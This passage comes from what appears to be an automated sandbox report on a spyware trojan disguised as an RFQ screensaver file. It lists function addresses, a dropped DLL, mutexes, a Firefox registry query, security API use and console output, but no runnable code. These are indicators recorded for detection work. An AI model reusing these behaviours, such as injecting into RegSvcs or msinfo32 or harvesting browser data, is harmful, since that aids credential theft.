Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009869FE	8_2_009869FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009BC920	8_2_009BC920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A1CBA4	8_2_00A1CBA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F6BCB	8_2_009F6BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A12C9C	8_2_00A12C9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009FAC5E	8_2_009FAC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009A0D3B	8_2_009A0D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0097CD5B	8_2_0097CD5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009A2E2F	8_2_009A2E2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0098EE4C	8_2_0098EE4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A0CFB1	8_2_00A0CFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009E2FDC	8_2_009E2FDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00980F3F	8_2_00980F3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0099D005	8_2_0099D005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0098905A	8_2_0098905A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00973040	8_2_00973040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009ED06D	8_2_009ED06D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009FD13F	8_2_009FD13F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A11238	8_2_00A11238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096F3CF	8_2_0096F3CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00977353	8_2_00977353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00981489	8_2_00981489
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009A5485	8_2_009A5485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009AD47D	8_2_009AD47D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A135DA	8_2_00A135DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0097351F	8_2_0097351F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F579A	8_2_009F579A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009A57C3	8_2_009A57C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A0771D	8_2_00A0771D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A0F8EE	8_2_00A0F8EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009EF8C4	8_2_009EF8C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F5955	8_2_009F5955
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F394B	8_2_009F394B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A23A83	8_2_00A23A83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096FBD7	8_2_0096FBD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009FDBDA	8_2_009FDBDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00997B00	8_2_00997B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A0FDDD	8_2_00A0FDDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009FBF14	8_2_009FBF14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0099DF7C	8_2_0099DF7C
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D50E8	10_2_001D50E8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D04E8	10_2_001D04E8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DB5BE	10_2_001DB5BE
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D46B0	10_2_001D46B0
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DBC38	10_2_001DBC38
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DCC5A	10_2_001DCC5A
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D3E00	10_2_001D3E00
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D5F68	10_2_001D5F68
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D203B	10_2_001D203B
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DC030	10_2_001DC030
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DC022	10_2_001DC022
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D8050	10_2_001D8050
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DD16A	10_2_001DD16A
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D11F8	10_2_001D11F8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D8258	10_2_001D8258
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D32A0	10_2_001D32A0
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DC3E0	10_2_001DC3E0
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D84E8	10_2_001D84E8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D86B8	10_2_001D86B8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DD6F8	10_2_001DD6F8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DB8F8	10_2_001DB8F8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001DB8E8	10_2_001DB8E8
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D4B48	10_2_001D4B48
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D3D60	10_2_001D3D60
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D5E50	10_2_001D5E50
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D6E48	10_2_001D6E48
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D5E80	10_2_001D5E80
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C1820	10_2_005C1820
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C1906	10_2_005C1906
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C8F81	10_2_005C8F81
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C5050	10_2_005C5050
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C0040	10_2_005C0040
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C4C28	10_2_005C4C28
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C5498	10_2_005C5498
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C5980	10_2_005C5980
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C47CF	10_2_005C47CF
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_005C47F0	10_2_005C47F0
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040B8C85	11_2_040B8C85
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040B04ED	11_2_040B04ED
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040B6E8D	11_2_040B6E8D
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040AE6FD	11_2_040AE6FD
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040B070D	11_2_040B070D
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040AE84D	11_2_040AE84D
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040AE841	11_2_040AE841
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040AE920	11_2_040AE920
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040CF2DD	11_2_040CF2DD
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E90E13	12_2_61E90E13
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E491CE	12_2_61E491CE
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E2F3B8	12_2_61E2F3B8
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E4A23B	12_2_61E4A23B
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E1721D	12_2_61E1721D
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E465DE	12_2_61E465DE
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E42505	12_2_61E42505
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E387BC	12_2_61E387BC
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E7675A	12_2_61E7675A
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E23631	12_2_61E23631
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E3F98C	12_2_61E3F98C
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E58991	12_2_61E58991
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E46B42	12_2_61E46B42
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E34CDF	12_2_61E34CDF
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E1ECB3	12_2_61E1ECB3
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E40FAC	12_2_61E40FAC
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E43F9D	12_2_61E43F9D

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\sqlite3.dll A5EF3A78EB333B0E6DCA194EA711DCBB036119A788ECFE125F05176FB0FB70A3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 009B3F92 appears 132 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 009B373B appears 253 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0096DF5C appears 137 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0096E2A8 appears 60 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 009DF970 appears 84 times

Source: RFQ_P.O.1212024.scr

Static PE information: invalid certificate

Source: sqlite3.dll.12.dr

Static PE information: Number of sections : 18 > 10

Source: RFQ_P.O.1212024.scr, 00000000.00000002.374921549.0000000003904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr, 00000000.00000002.370413221.000000000050F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesctasks.exej% vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr, 00000000.00000002.371027207.0000000000870000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr, 00000000.00000000.346541696.00000000014A4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesHIO.exe. vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr, 00000000.00000002.375920774.00000000053F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr, 00000000.00000002.370413221.00000000004E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RFQ_P.O.1212024.scr
Source: RFQ_P.O.1212024.scr	Binary or memory string: OriginalFilenamesHIO.exe. vs RFQ_P.O.1212024.scr

Source: C:\Windows\SysWOW64\msinfo32.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: RFQ_P.O.1212024.scr

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RFQ_P.O.1212024.scr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PEJmengI.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, bhfevcinMYctH7vReL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, bhfevcinMYctH7vReL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ElmNrXtZw4MREHe3PO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, bhfevcinMYctH7vReL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winSCR@24/18@25/15

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

File created: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Mutant created: \Sessions\1\BaseNamedObjects\DWhQxlVSHEWFwnynnXdbqrvj

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

File created: C:\Users\user\AppData\Local\Temp\tmp61C0.tmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.$..................................s..............$..... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$.......?..........................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$.......Z..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$.......l..........................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s..............$.....$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............$.....2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$..................................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............$.......$.......8..........................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............$.......$.......J..........................s..............$.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h...............*..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......d.......P..........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h..........................................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h..........................................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h..........................................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h..........................................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......D.......h...............@..........................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......d.......X..........................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.d.......j..........................s............H....... .......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$.......x..........................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............H.......$.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............H.......2.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s....................l.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$..................................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....D.......h.......$.......!..........................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....D.......h.......$.......-..........................s............H...............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................X.......(.P.............................y.......................................................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................#;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........5;.........................s.................... .......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................A;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................S;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................._;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....q;.........................s....................$.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................};.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................;.........................s....................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................;.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........C.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........C.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........C.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L......."D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................L.......4D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......@D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.L.......RD.........................s.................... .......................
